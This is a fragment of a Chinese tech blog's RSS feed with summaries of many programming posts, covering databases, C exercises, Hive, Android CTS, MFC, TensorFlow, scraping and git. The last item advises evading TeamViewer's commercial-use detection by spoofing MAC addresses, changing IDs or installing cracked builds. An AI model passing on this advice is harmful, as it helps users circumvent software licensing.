我们比较了Quotes_Small表和Quotes_Big表由DolphinDB和InfluxDB存储后在磁盘上的占用空间。结果显示，两款数据库都对数据进行了压缩存储，压缩率大致处于同一个数量级，都在20%-30%之间，但DolphinDB的压缩效果更佳。&#xA;测试结果如下表7所示，表中的数据单位为MB。&#xA;表7. 磁盘占用空间测试结果&#xA;6.其他方面对比 DolphinDB除了在基准测试中体现出优越的性能之外，还具有如下优势：&#xA;（1）InfluxDB通过InfluxQL来操作数据库，这是一种类SQL语言；而DolphinDB内置了完整的脚本语言，不仅支持SQL语言，而且支持命令式、向量化、函数化、元编程、RPC等多种编程范式，可以轻松实现更多的功能。&#xA;（2）InfluxDB对于特定文件格式数据例如csv文件的批量导入没有很好的官方支持。用户只能通过开源第三方工具或自己实现文件的读取，规整为InfluxDB指定的输入格式，再通过API进行批量导入。单次只能导入5000行，不仅操作复杂，效率也极其低下。与之对比，DolphinDB的脚本语言中提供了loadText、loadTextEx函数，用户可以在脚本中直接导入txt或csv文件，而且效率更高，对用户更友好。&#xA;（3）DolphinDB提供400余种内置函数，可满足金融领域的历史数据建模与实时流数据处理，及物联网领域中的实时监控与数据实时分析处理等不同的场景需求。提供时序数据处理需要的领先、滞后、累积窗口、滑动窗口等多种指标的函数，且在性能上进行了优化，性能极优。 因而与InfluxDB相比，DolphinDB拥有更多的适用场景。&#xA;（4）InfluxDB不支持表连接，而DolphinDB不仅支持表连接，还对asof join及window join等非同时连接方式做了优化。&#xA;（5）InfluxDB中，对时间序列的分组（GroupBy）最大单位是星期（week）；而DolphinDB支持对所有内置时间类型的分组，最大单位为月（month）。因此在时间序列这一特性上，DolphinDB也有更好的支持。&#xA;（6）DolphinDB采用分布式表引擎时支持事务，而且在一个分区的多个副本写入时，保证强一致性。</description>
    </item>
    <item>
      <title>linux修改文件：E212 can&#39;t open file for writing</title>
      <link>https://bchobby.github.io/posts/8a1732651e63ba7e4f08b44ded0beabc/</link>
      <pubDate>Sun, 27 Jan 2019 22:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a1732651e63ba7e4f08b44ded0beabc/</guid>
      <description>普通用户登录Linux，修改/etc/ssh/sshd_config时，:wq 进行保存退出，退出不了，一直提示&#xA;E212 can&#39;t open file for writing&#xA;意思是不能保存。&#xA;原因:权限不够，普通无法保存，需要使用超级用户才可以。&#xA;执行切换到超级用户命令：&#xA;# sudo su</description>
    </item>
    <item>
      <title>C语言实验——买糖果</title>
      <link>https://bchobby.github.io/posts/654c75a5129b77f287658d45bbd1188c/</link>
      <pubDate>Sat, 26 Jan 2019 16:13:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/654c75a5129b77f287658d45bbd1188c/</guid>
      <description> 1203&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int n,i,d; scanf(&#34;%d&#34;,&amp;amp;n); i=n*10/3; d=n*10%3; printf(&#34;%d %d\n&#34;,i,d); return 0; } </description>
    </item>
    <item>
      <title>bash: schematool: 未找到命令的解决办法</title>
      <link>https://bchobby.github.io/posts/1c49377222d35c4e7d524215136ca9e2/</link>
      <pubDate>Sat, 26 Jan 2019 15:20:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c49377222d35c4e7d524215136ca9e2/</guid>
      <description>初始化hive百度了一下是，输入后报错，如下：&#xA;[root@cluster-1 conf]# schematool -dbType mysql -initSchema bash: schematool: 未找到命令... 于是我就通过yum命令安装嘛，出错，报错如下：&#xA;[root@cluster-1 conf]# yum -y install schematool 已加载插件：fastestmirror Loading mirror speeds from cached hostfile * base: mirrors.aliyun.com * extras: mirrors.aliyun.com * updates: mirrors.tuna.tsinghua.edu.cn base | 3.6 kB 00:00:00 extras | 3.4 kB 00:00:00 mysql-connectors-community | 2.5 kB 00:00:00 mysql-tools-community | 2.5 kB 00:00:00 mysql57-community | 2.5 kB 00:00:00 updates | 3.4 kB 00:00:00 没有可用软件包 schematool。 错误：无须任何处理 后来百度发现是不该进入conf目录下进行，必须转到bin目录下执行hive初始化命令，但还是出错，错误如下：&#xA;[root@cluster-1 bin]# schematool -dbType mysql -initSchema bash: schematool: 未找到命令.</description>
    </item>
    <item>
      <title>学生信息管理系统设计</title>
      <link>https://bchobby.github.io/posts/969672badb863edf148c669c7f0f248e/</link>
      <pubDate>Fri, 25 Jan 2019 19:13:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/969672badb863edf148c669c7f0f248e/</guid>
      <description>学生信息管理系统设计&#xA;学生信息包括：学号，姓名，年龄，性别，出生年月，地址，电话，E-mail等。&#xA;试设计一学生信息管理系统，使之能提供以下功能：&#xA;系统以菜单方式工作&#xA;学生信息录入功能（学生信息用文件保存）—输入&#xA;学生信息浏览功能—输出&#xA;查询、排序功能—算法&#xA;按学号查询&#xA;按姓名查询学生信息的删除与修改&#xA;C语言课程设计的作业，懵懵懂懂的做了一个，很多代码其实都是一样的，上下可以互相贴 #include&amp;lt;stdio.h&amp;gt;//标准的输入输出函数头文件 #include&amp;lt;string.h&amp;gt;//字符串类头文件 #include&amp;lt;math.h&amp;gt;//数学函数头文件 #include&amp;lt;stdlib.h&amp;gt; char f; FILE *fp;//文件指针 #define M 80 struct student //结构体定义声明 { char num[13];//学号 char name[15];//姓名 int age;//年龄 char x[5];//性别 char year_month_day[15];//出生年月 char address[15];//地址 int iphone;//手机号 char e_mail[20];//邮箱 int xx,yy,wl,cyy,pe;//数学、英语、物理、C语言、体育 }; void input(struct student stu[M]);//输入函数 void output(struct student stu[M]);//输出函数 void lookfor(struct student stu[M]);//查询函数 void order(struct student stu[M]);//排序函数 void delete_s(struct student stu[M]);//删除函数 void modify(struct student stu[M]);//修改函数 void xuehao(struct student stu[M]);//学号查询函数 void xingming(struct student stu[M]);//姓名查询函数 void fileread(struct student stu[M]);//读取文件信息函数 void filewrite(struct student stu[M]);//写入文件函数 int count;//定义一个全局变量 struct student t; int main() { int choice,sum; struct student stu[M]; sum=0; do { printf(&#34;</description>
    </item>
    <item>
      <title>自己编译CTS源码、Android源码(ubuntu)</title>
      <link>https://bchobby.github.io/posts/1c23b5c86f68060b8f76e13dd59eb930/</link>
      <pubDate>Fri, 25 Jan 2019 18:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c23b5c86f68060b8f76e13dd59eb930/</guid>
      <description>由于最近在做一些手机CTS测试相关的工作，需要自己编译CTS，在网上逛了一圈后，发现相关的教程版本都比较老，有些是在Windows下的Android studio下编译的，最后结合多家博客教程，完成了CTS源码的编译工作。下面把编译的具体操作流程总结一下：&#xA;1、 首先我们需要下载好Android源码，由于国内某墙的限制，可以参考我的这篇博文：https://blog.csdn.net/Dhane/article/details/86481582&#xA;2、下载完成后我们可以看到Android源码下有一个cts目录，这个就是cts源码。编译cts源码和编译其他模块差不多，在Android目录下运行以下代码：&#xA;source build/envsetup.sh lunch //然后选择自己的测试机的架构，一般选择2 arm_x64 make cts //开始编译, 如果性能足够好可以开启多线程同步编译 后面加 -j4 或 -j8 之后耐心等待编译完成就好啦，如果是第一次编译的话，会需要较长的时间。&#xA;编译完成后的文件在android/out/host/linux_x86/cts/下的android-cts里，后期如果要进行cts 测试的话只要把android-cts文件夹拷贝出来就行了。&#xA;3、cts测试&#xA;进入到android-cts/tools/目录下，运行cts-tradefed文件：&#xA;./cts-tradefed 然后就到了以下界面啦：&#xA;在cts-tf &amp;gt; 后面运行具体的cts测试代码就行啦~&#xA;如果不知道怎么运行可以直接输入cts 然后回车，会出现帮助界面。</description>
    </item>
    <item>
      <title>2019寒假集训第四场（新生场）</title>
      <link>https://bchobby.github.io/posts/0301f2f1cd76c625642099274e39c0c6/</link>
      <pubDate>Fri, 25 Jan 2019 16:04:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0301f2f1cd76c625642099274e39c0c6/</guid>
      <description>问题 A: 蛇爬树&#xA;时间限制: 1 Sec 内存限制: 128 MB&#xA;目描述有一条蛇在地上，它想要爬到一棵树的顶端，树的顶端距离地面V米。在白天它能向上爬行A米，而晚上睡觉时，它会滑下B米。那么，这条蛇在第几天能爬到树顶。&#xA;输入输入仅一行，三个整数A，B，V(1&amp;lt;=B&amp;lt;A&amp;lt;=1,000,000,000,V≤1,000,000,000),分别表示白天爬行距离，晚上滑下距离，树的高度。&#xA;输出输出一个整数，表示几天后可以爬到树顶。&#xA;样例输入复制样例数据&#xA;2 1 5&#xA;样例输出4&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int a,b,v,t=1,f; scanf(&#34;%d%d%d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;v); f=a; while(f&amp;lt;v) { f+=a-b; t++; } printf(&#34;%d\n&#34;,t); return 0; } 问题 B: 组队竞赛&#xA;时间限制: 1 Sec 内存限制: 128 MB&#xA;目描述每年，A市都会组织程序设计竞赛，他们的比赛与我们的略有不同，是组成小团队进行比赛的，每个队伍有三人组成。根据传统，队员大多数都是男生，因此规定，队伍必须由两个男生和一个女生组成。&#xA;可是今年的情况有所不同，由于一个国际交流的活动，该市必须派出K位同学参加国际交流，当然交流没有男女比例的限制。为了顺利的进行国际交流，又要使得参加程序设计竞赛的队伍尽可能的多，就要进行细致的安排。&#xA;现在，给定共有M个男同学，N个女同学，需要派遣参加国际交流的为K位同学，请你计算，最多能有多少队伍参加本市的程序设计竞赛。&#xA;例如，M=6，N=3，K=2，我们可以派出1位男同学和1位女同学参加国际交流，剩余的5位男同学和2为女同学可以组成2个队伍（剩下的1位男同学就无法参加比赛了）。&#xA;输入输入仅一行，包含3个整数M，N，K(0&amp;lt;=M&amp;lt;=100, 0&amp;lt;=N&amp;lt;=100, 0&amp;lt;=K&amp;lt;=M+N)，分别表示男生人数，女生人数和参加国际交流的人数。&#xA;输出输出一个整数，表示最多可以组织多少个队伍参加比赛。&#xA;样例输入复制样例数据&#xA;6 3 2&#xA;样例输出2&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int m,n,k,a[5]; scanf(&#34;%d%d%d&#34;,&amp;amp;m,&amp;amp;n,&amp;amp;k); a[0]=m/2; a[1]=n; if(a[0]&amp;gt;a[1]) { a[0]=a[1]; a[1]=(a[0]-a[1])*2+m%2; } else { a[1]=a[1]-a[0]+m%2; } k-=a[1]; if(k!</description>
    </item>
    <item>
      <title>MFC输出信息</title>
      <link>https://bchobby.github.io/posts/b64c4ef4f6492f00cd53f287c1d7fa14/</link>
      <pubDate>Fri, 25 Jan 2019 10:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b64c4ef4f6492f00cd53f287c1d7fa14/</guid>
      <description>目录&#xA;一、目的：&#xA;1、MFC中需要输出一些信息进行查看&#xA;一、方法&#xA;1、定义的数字 ：输出（再输出框中能看到）&#xA;方法1：wsprintf、OutputDebugString&#xA;方法2：TRACE&#xA;2、MFC输出自定义的字符串（再输出框中能看到）：TRACE&#xA;3、提示框：输出文字&#xA;方法1：AfxMessageBox&#xA;方法2：MessageBox&#xA;4、提示框：输出自己定义的数字&#xA;①就是将数字转换为CString类型，然后让提示框输出来&#xA;②Format需要多使用&#xA;5、对话框：输出自己定义的字符串\字符&#xA;①制作CString类型变量就可以了&#xA;6、编辑框里显示按下某个按键&#xA;①、再资源视图里面，对我们要做的对话框里面做一个编辑框&#xA;②、按键消息里面添加代码：Format对CString处理&#xA;7、字符串输出：&#xA;①接着上面的制作，输出一下OutputDebugString()&#xA;一、目的： 1、MFC中需要输出一些信息进行查看 一、方法 1、定义的数字 ：输出（再输出框中能看到） 方法1：wsprintf、OutputDebugString //①成功：新建字符串，让其打印出来 int b=123; wchar_t a[MAX_PATH]={0}; wsprintf(a,L&#34;%d######################################\n&#34;,b); OutputDebugString(a); 方法2：TRACE //③成功：使用TRACE int a=123; TRACE(&#34;%d+++++++++++++++++++++++++++++++++++++++++++\n&#34;,a); 2、MFC输出自定义的字符串（再输出框中能看到）：TRACE //④成功：分开来输出 CString a=L&#34;asdads&#34;; TRACE(a); TRACE(&#34;++++++++++++++++++++++++++++++++++++++\n&#34;); 3、提示框：输出文字 方法1：AfxMessageBox AfxMessageBox(L&#34;你好！&#34;); 方法2：MessageBox MessageBox(L&#34;你好&#34;); 4、提示框：输出自己定义的数字 ①就是将数字转换为CString类型，然后让提示框输出来 ②Format需要多使用 CString str; int number=15; str.Format(_T(&#34;%d&#34;),number); MessageBox(str); 5、对话框：输出自己定义的字符串\字符 ①制作CString类型变量就可以了 CString a=L&#34;asdad&#34;; AfxMessageBox(a); CString errStr; errStr.Format(L&#34;连接卡%d失败！错误号：%d&#34;, i, errCode); AfxMessageBox(errStr); 6、编辑框里显示按下某个按键 ①、再资源视图里面，对我们要做的对话框里面做一个编辑框 ②、按键消息里面添加代码：Format对CString处理 BOOL CTextPrintTestDlg::PreTranslateMessage(MSG* pMsg) { // TODO: 在此添加专用代码和/或调用基类 if (pMsg-&amp;gt;message==0x0113 ||pMsg-&amp;gt;message==0xf||pMsg-&amp;gt;message==0x31f||pMsg-&amp;gt;message==0xc0df) { return CDialogEx::PreTranslateMessage(pMsg); } CString str; if (pMsg-&amp;gt;message == WM_CHAR) { CString ss; ss.</description>
    </item>
    <item>
      <title>python中模型训练不收敛问题</title>
      <link>https://bchobby.github.io/posts/038029a89072534027fdee2338536f37/</link>
      <pubDate>Thu, 24 Jan 2019 15:16:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/038029a89072534027fdee2338536f37/</guid>
      <description>近期在做人脸表情识别时，遇到了一个问题，就是模型写好进行训练时，出现了不收敛的现象。情况如下：&#xA;出现这种问题，很难无从下手，一步一步的排查各个环节，首先检查模型，发现模型并木有问题。部分模型代码：&#xA;def train_model(): # 构建模型---------------------------------------------------------- x = tf.placeholder(tf.float32, [None, 128, 128, 1]) y_ = tf.placeholder(tf.int32, [None, ]) y_out, logits = deepnn(x) loss = loss_value(y_out, y_) train_step = tf.train.AdamOptimizer(learning_rate=0.0005).minimize(loss) correct_prediction = tf.equal(tf.cast(tf.argmax(y_out, 1), tf.int32), y_) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) 然后检查loss函数，发现这部也没有问题，截取loss函数代码：&#xA;def loss_value(logit, labels): labels = tf.cast(labels, tf.int64) cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logit, labels=labels, name=&#39;cross_entropy_per_example&#39;) # 交叉熵损失 cross_entropy_mean = tf.reduce_mean(cross_entropy, name=&#39;cross_entropy&#39;) # 权重损失 tf.add_to_collection(&#39;losses&#39;, cross_entropy_mean) return tf.add_n(tf.get_collection(&#39;losses&#39;), name=&#39;total_loss&#39;) 一般情况下，这两部分排查完之后，查看数据是否读取正确，是否将数据读进去了。读取数据部分代码：&#xA;def load_data(image_path): cate = [image_path+f for f in os.</description>
    </item>
    <item>
      <title>Duplicate entry &#39;xxx&#39; for key &#39;PRIMARY&#39;</title>
      <link>https://bchobby.github.io/posts/28eb065c50e92f740ca49374dc74ee02/</link>
      <pubDate>Thu, 24 Jan 2019 15:09:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28eb065c50e92f740ca49374dc74ee02/</guid>
      <description>数据库主键重复</description>
    </item>
    <item>
      <title>hugo修改css后，反复刷新浏览器，css不生效的情况</title>
      <link>https://bchobby.github.io/posts/a918e83ab25f1d10920a479704d63c7a/</link>
      <pubDate>Thu, 24 Jan 2019 13:58:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a918e83ab25f1d10920a479704d63c7a/</guid>
      <description>问题: 用 chrome 做 hugo 博客 css 调试，遇到修改 css 不生效的情况&#xA;解决方式： 清除浏览器 缓存&#xA;推荐 chrome 清除缓存插件 https://chrome.google.com/webstore/detail/egkcjgapmgioadbkhaciondahbjggnhjhttps://chrome.google.com/webstore/detail/cppjkneekbjaeellbfkmgnhonkkjfpdn 或者可以直接在插件商城搜索 clear cache&#xA;更多内容欢迎访问 lipk.org</description>
    </item>
    <item>
      <title>webots2019机器人仿真（2）新建工程和自由落体仿真</title>
      <link>https://bchobby.github.io/posts/99ef7110c6f672dafefff69aa90e265e/</link>
      <pubDate>Wed, 23 Jan 2019 14:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99ef7110c6f672dafefff69aa90e265e/</guid>
      <description>记录使用webots过程&#xA;目标：&#xA;机器人仿真 Python交互界面 官方的手册可以参考：https://cyberbotics.com/doc/guide/menu&#xA;手册中有官方的教程，可以跟着做一遍，然后明白大概的使用&#xA;新建工程 菜单栏选择 向导-&amp;gt;新项目目录…&#xA;然后下一步选择所需要要创建的目录，此处不再截图&#xA;接下来显示的是项目名称和要添加的文件，修改名称后下一步，下面的选项默认，如果有看官网教程就会知道是什么，稍后会在工程中解释。&#xA;最后显示大概就是这样子，3d窗口里面没有东西，因为没有创建任何物体&#xA;2、自由落体&#xA;点击左侧列表中最后一个然后点击新建，建立新的物体时根据需要点在不同位置，大多数的物体都可以添加子集，如果没有点击子集默认是在点击位置下方添加一个新的&#xA;先添加一个地面，搜索floor，然后一个地面，可以不同&#xA;这里介绍一下这个鼠标操作3D视图（个人认为每个3d软件都有一些奇葩的操作，习惯就好）：&#xA;左键：按住晃动鼠标，视图会以点击的位置旋转（实际是Viewpoint旋转） 右键：按住晃动鼠标，视图平移 滚轮：前后滚动是放大缩小 滚轮：按住晃动鼠标，水平晃动是滚动叫，上下是放大和缩小（奇葩） 同上，左侧列表中选择最后一个然后点击添加&#xA;选择children添加一个形状&#xA;接着添加几何体&#xA;终于看到图形了球了，个人感觉想是一个实体然后要给他加形状，形状还要添加几个图形然后并规定边界在哪里。&#xA;添加个外观（纹理）&#xA;选择一个喜欢的颜色&#xA;点击children下的shape添加一个命名ball&#xA;确定绑定&#xA;可看到球外界有一层网格，那个就是边界，没看到的话鼠标点击选中它&#xA;把球提高一些&#xA;加上物理效果&#xA;保存，然后运行，可看到掉落过程&#xA;先到这里，其他参数可以修改试一试，看看效果&#xA;闻道有先后&#xA;术业有专攻&#xA;From: shaynerain.com&#xA;By: Shaynerain</description>
    </item>
    <item>
      <title>spark操作hive表，用java调用提交任务脚本</title>
      <link>https://bchobby.github.io/posts/90c76a107bd1699e88cd9a373632a74e/</link>
      <pubDate>Tue, 22 Jan 2019 13:30:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90c76a107bd1699e88cd9a373632a74e/</guid>
      <description>Spark最主要资源管理方式按排名为Hadoop Yarn, Apache Standalone 和Mesos。&#xA;此次使用的yarn模式部署。spark操作hive创建任务，需要将此任务提交。在经过多日查找资料和测试发现多数是提交本地，少有提交到远程yarn集群。发现提交到远程集群的是使用 Standalone模式部署的，这种模式可以指定ip及端口。因此在此次开发中是没有使用java程序提交spark任务。还发现一种在java代码中写提交任务，但需要通过java命令触发，感觉本质上与用spark命令提交没有区别，故此方案不作考虑。所以spark任务提交会做成shell脚本来提交。&#xA;import org.apache.spark.sql.SparkSession; public class SparkTest { public static void main(String[] args) { SparkSession spark = SparkSession .builder() .appName(&#34;SparkTest&#34;).master(&#34;yarn-client&#34;).enableHiveSupport() .getOrCreate(); // 删除hive表 spark.sql(&#34;DROP TABLE IF EXISTS CH_TEST.SPARK_TEST&#34;); // 创建hive表 String createSql = &#34;CREATE TABLE IF NOT EXISTS CH_TEST.SPARK_TEST (MEMBER_ID string,MEMBER_NAME string,QTT bigint)&#34;; spark.sql(createSql); // 插入数据 String insertSql = &#34;INSERT INTO TABLE CH_TEST.HIVE_SPARK select * from CH_TEST.SPARK_TEST a limit 10&#34;; spark.sql(insertSql); spark.stop(); } } 只需在main方法中写入spark逻辑，再使用spark命令调用执行即可。SparkSession是最新版本spark所使用的，之前使用的SQLContext、HiveContext 均已过时，会出现找不到表的情况。</description>
    </item>
    <item>
      <title>爬虫入门01：爬取知乎热榜</title>
      <link>https://bchobby.github.io/posts/9b891684f60f18098eaa04233f7c7b05/</link>
      <pubDate>Mon, 21 Jan 2019 22:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b891684f60f18098eaa04233f7c7b05/</guid>
      <description> #!/usr/bin/env python # -*- coding:utf-8 -*- # author:qdf time:2019/1/21 from lxml import etree import requests url = &#34;https://www.zhihu.com/hot&#34; headers = {&#34;User-Agent&#34;:&#34;&#34;, &#34;Cookie&#34;:&#34;&#34;} response = requests.get(url, headers=headers) html_str = response.content.decode() html = etree.HTML(html_str) # print(html) #获取知乎热榜排名标题热度 ret = html.xpath(&#34;//section[@class=&#39;HotItem&#39;]&#34;) # print(ret) for table in ret: item = {} item[&#39;排名&#39;] = table.xpath(&#34;.//div[@class=&#39;HotItem-index&#39;]/div/text()&#34;) item[&#39;标题&#39;] = table.xpath(&#34;.//div[@class=&#39;HotItem-content&#39;]/a/@title&#34;) item[&#39;热度&#39;] = table.xpath(&#34;.//div[@class=&#39;HotItem-metrics HotItem-metrics--bottom&#39;]/text()&#34;) print(item) </description>
    </item>
    <item>
      <title>git：webstorm提交项目到码云</title>
      <link>https://bchobby.github.io/posts/fec4d8c509f76d1f64ec45adea88e4e4/</link>
      <pubDate>Mon, 21 Jan 2019 18:24:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fec4d8c509f76d1f64ec45adea88e4e4/</guid>
      <description>1.码云创建项目&#xA;2.webstorm【以下简称ws】&#xA;2.1 ws中VCS 选择【import into Version control】--&amp;gt;【Create Git Repository...】--&amp;gt;选择要上传的项目&#xA;2.2右击项目（或要上传的文件夹/文件）【git--&amp;gt;add】&#xA;2.3【git--&amp;gt;commit directory】提交添加的文件&#xA;2.4【Commit Message】添加提交描述&#xA;2.5【Commit】提交&#xA;2.6【pull】操作：提交之后，右击项目，选中【git--&amp;gt;repository--&amp;gt;push】&#xA;2.7复制码云上的HTTPS开头的路径,点击Define remote(定义远程)&#xA;2.8【git--&amp;gt;pull】：①点击刷新 ②origin/master&#xA;2.9项目目录【GitBush】【pull/push失败执行】：git pull origin master --allow-unrelated-histories&#xA;右下角点击Version Control 查看&#xA;--&amp;gt;【git Add】--&amp;gt;【git Commit Directory..】</description>
    </item>
    <item>
      <title>利用vbs将word、excel、ppt转换成pdf</title>
      <link>https://bchobby.github.io/posts/ac41512f013bb26a6d6d0ae34140e7bb/</link>
      <pubDate>Mon, 21 Jan 2019 17:48:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac41512f013bb26a6d6d0ae34140e7bb/</guid>
      <description>代码如下：&#xA;Excel：&#xA;path = createobject(&#34;Scripting.FileSystemObject&#34;).GetFile(Wscript.ScriptFullName).ParentFolder.Path&#xA;Set objArgs = WScript. Arguments Set oExcel = CreateObject(&#34;Excel.Application&#34;) Set oWb = oExcel.Workbooks.Open(path &amp;amp; &#34;\&#34; &amp;amp; &#34;tmp.xlsx&#34;) oWb.ExportAsFixedFormat xlTypePDF, path &amp;amp; &#34;\&#34; &amp;amp; &#34;tmp.pdf&#34;, 1,1,1,1&#xA;oExcel.Visible = False&#xA;oExcel.quit Set oWb = Nothing Word：&#xA;path = createobject(&#34;Scripting.FileSystemObject&#34;).GetFile(Wscript.ScriptFullName).ParentFolder.Path&#xA;Set word = CreateObject(&#34;Word.application&#34;)&#xA;Set docx = word.Documents.Open(path &amp;amp; &#34;\&#34; &amp;amp; &#34;tmp.doc&#34;)&#xA;docx.SaveAs path &amp;amp; &#34;\&#34; &amp;amp; &#34;tmp.pdf&#34;,17&#xA;docx.close(doNotSaveChanges)&#xA;word.Quit&#xA;set docx = nothing&#xA;Set word = nothing</description>
    </item>
    <item>
      <title>误删了home里.bashrc等文件后.....</title>
      <link>https://bchobby.github.io/posts/1db3869de1f6c7d1d64edcadbd86f73d/</link>
      <pubDate>Mon, 21 Jan 2019 09:17:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1db3869de1f6c7d1d64edcadbd86f73d/</guid>
      <description>误删了.bashrc history等等等等文件后。&#xA;ll 失灵了.....ll command not found 各种 字体颜色也没有了。&#xA;于是拷贝了一份.bashrc回来。source ~./bashrc后&#xA;配置生效。&#xA;但是还误删了.profile 这就导致每天我都要source啊！！&#xA;你可以用etc/skel/..... 里面找出来.profile文件~ 放在当前用户目录。&#xA;如果你找不到。那么内容是以下这样子的。。复制粘贴吧 兄dei~&#xA;# ~/.profile: executed by the command interpreter for login shells.&#xA;# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login&#xA;# exists.&#xA;# see /usr/share/doc/bash/examples/startup-files for examples.&#xA;# the files are located in the bash-doc package.&#xA;# the default umask is set in /etc/profile; for setting the umask</description>
    </item>
    <item>
      <title>干货 ：2018年最受欢迎的15篇数据科学和机器学习文章（Analytics Vidhya）</title>
      <link>https://bchobby.github.io/posts/809ca86887440846dcca2cfc0345b9f5/</link>
      <pubDate>Mon, 21 Jan 2019 07:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/809ca86887440846dcca2cfc0345b9f5/</guid>
      <description>作者：Pranav Dar；翻译：陈之炎；校对：丁楠雅；&#xA;本文约4200字，建议阅读10+分钟。&#xA;本文为你整理了多个高质量和受欢迎的数据科学培训课程、学习文章及学习指南。&#xA;简介&#xA;Analytics Vidhya是由Kunal发起的一个数据科学社区，上面有许多精彩的内容。2018年我们把社区的内容建设提升到了一个全新的水平，推出了多个高质量和受欢迎的培训课程，出版了知识丰富的机器学习和深度学习文章和指南，博客访问量每月超过250万次。&#xA;当拉上2018年的精彩帷幕之时，我们想和社区的读者来分享这一年中的精彩华文。本文也是该系列文章的一部分，希望你能喜欢。其他几篇回溯性文章见：&#xA;A Technical Overview of AI &amp;amp; ML (NLP, Computer Vision, Reinforcement Learning) in 2018 &amp;amp; Trends for 2019：&#xA;https://www.analyticsvidhya.com/blog/2018/12/key-breakthroughs-ai-ml-2018-trends-2019/&#xA;The 25 Best Data Science Projects on GitHub from 2018 that you Should Not Miss：&#xA;https://www.analyticsvidhya.com/blog/2018/12/best-data-science-machine-learning-projects-github/&#xA;在这个文集中，我总结了每一篇文章，并根据它们各自的领域进行了分类。每一篇文章还包含对内容的总结。如果你有其他你觉得特别有用的文章，请在下面的评论框中告诉我们。&#xA;现在，我们来看看2018年在Analytics Vidhya上的那些最受欢迎程的文章吧！&#xA;本文所涵盖的专题&#xA;一、机器学习与深度学习-终极二重奏&#xA;二、商业智能与数据可视化&#xA;三、数据科学方向的职业&#xA;四、自然语言处理(NLP)&#xA;五、播客&#xA;一、机器学习与深度学习-终极二重奏&#xA;1. Scratch构建推荐引擎的综合指南(用Python语言)&#xA;https://www.analyticsvidhya.com/blog/2018/06/comprehensive-guide-recommendation-engine-python/&#xA;推荐技术已经存在了几十年(不是几百年)。机器学习的兴起无疑加速了这些技术的进步，我们已经不再需要依靠直觉，手动地对行为进行监控——只要把数据和正确的技术有机结合起来，瞧！你便有了一个非常高效和划算的组合。&#xA;本文是你在这个主题中能找到的最全面的指南之一。它涵盖了各种类型的推荐引擎算法以及在Python中创建它们的基本原理。Pulkit首先解释了什么是推荐引擎，它们是如何工作的。然后用Python(使用流行的MovieLens数据集)进行了一个案例研究，并利用它解释了如何构建特定模型，他关注的两项主要技术是协同过滤和矩阵因式分解。&#xA;一旦建立好了推荐引擎，该如何评估它呢？我们怎么知道它是否按照我们的计划运作呢？Pulkit展示了六种不同的评估技术来验证我们的模型，从而解答了这个问题。&#xA;2. 24个可以提高你的知识和技能的终极数据科学项目(&amp;amp;可以自由访问，无需付费)&#xA;https://www.analyticsvidhya.com/blog/2018/05/24-ultimate-data-science-projects-to-boost-your-knowledge-and-skills/&#xA;这是Analytics Vidhya有史以来最受欢迎的文章之一。最初发布于2016年，我们的团队更新了来自不同行业的最新数据集。数据集被划分为三个职业级别-各个级别适合于职业生涯中的不同阶段：&#xA;初级：这个级别主要使用易用的数据集，并且不需要复杂的数据科学技术&#xA;中级：这个级别主要使用更富挑战性的数据集，它由中、大型数据集组成，要求具备一些高级的模式识别技能&#xA;高级：这个级别最适合那些了解高级主题的人，如神经网络、深度学习、推荐系统等。&#xA;蛋糕上的糖霜呢？每个项目都有一个与之相关的教程！因此，无论你是想从scratch开始学习，还是被困在某个点上，或者只是想用一个分数来评估你的结果，你都可以将它标记为书签，迅速回到该教程之中。&#xA;3. 在Scratch中用Python理解和建立目标检测模型</description>
    </item>
    <item>
      <title>Teamviewer检测为商业用途的解决方案</title>
      <link>https://bchobby.github.io/posts/e215ebcb2e13102fb6b9cd20ff06a43f/</link>
      <pubDate>Mon, 21 Jan 2019 03:27:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e215ebcb2e13102fb6b9cd20ff06a43f/</guid>
      <description>Teamviewer检测为商业用途的解决方案 注意。Teamviewer远程链接需要两台计算机参与，需要在两台计算机上都安装Teamviewer软件，所以在链接中出现被检测到商业用途，并不知道到底是哪一台计算机上的电脑出现问题，所以如果按照如下方法修改其中的一台无效，则需修改另一台试试。1. 修改MAC地址，重装Teamviewer (亲测可用, 注意两台计算机上的Teamviewer都要试试，如果修改其中一个没有解决，修改另一个试试)2. 网上下载安装破解版 (会出现莫名奇妙的问题)3. 更换ID（此方法可行，但是容易过期，没试过，第一种修改后ID也是发生改变，但是比较稳定）。（同样是两台计算机上的Teamviewer都要试试）。4. 向官方申请将自身ID加入到家庭版本即可（最直接的方法，此方法可行，而且使用时间较长，如果再次被标记，重复此方法即可。但是等待回复时间可能较长） 注意。Teamviewer远程链接需要两台计算机参与，需要在两台计算机上都安装Teamviewer软件，所以在链接中出现被检测到商业用途，并不知道到底是哪一台计算机上的电脑出现问题，所以如果按照如下方法修改其中的一台无效，则需修改另一台试试。 1. 修改MAC地址，重装Teamviewer (亲测可用, 注意两台计算机上的Teamviewer都要试试，如果修改其中一个没有解决，修改另一个试试) 第一步：卸载Teaviewer。 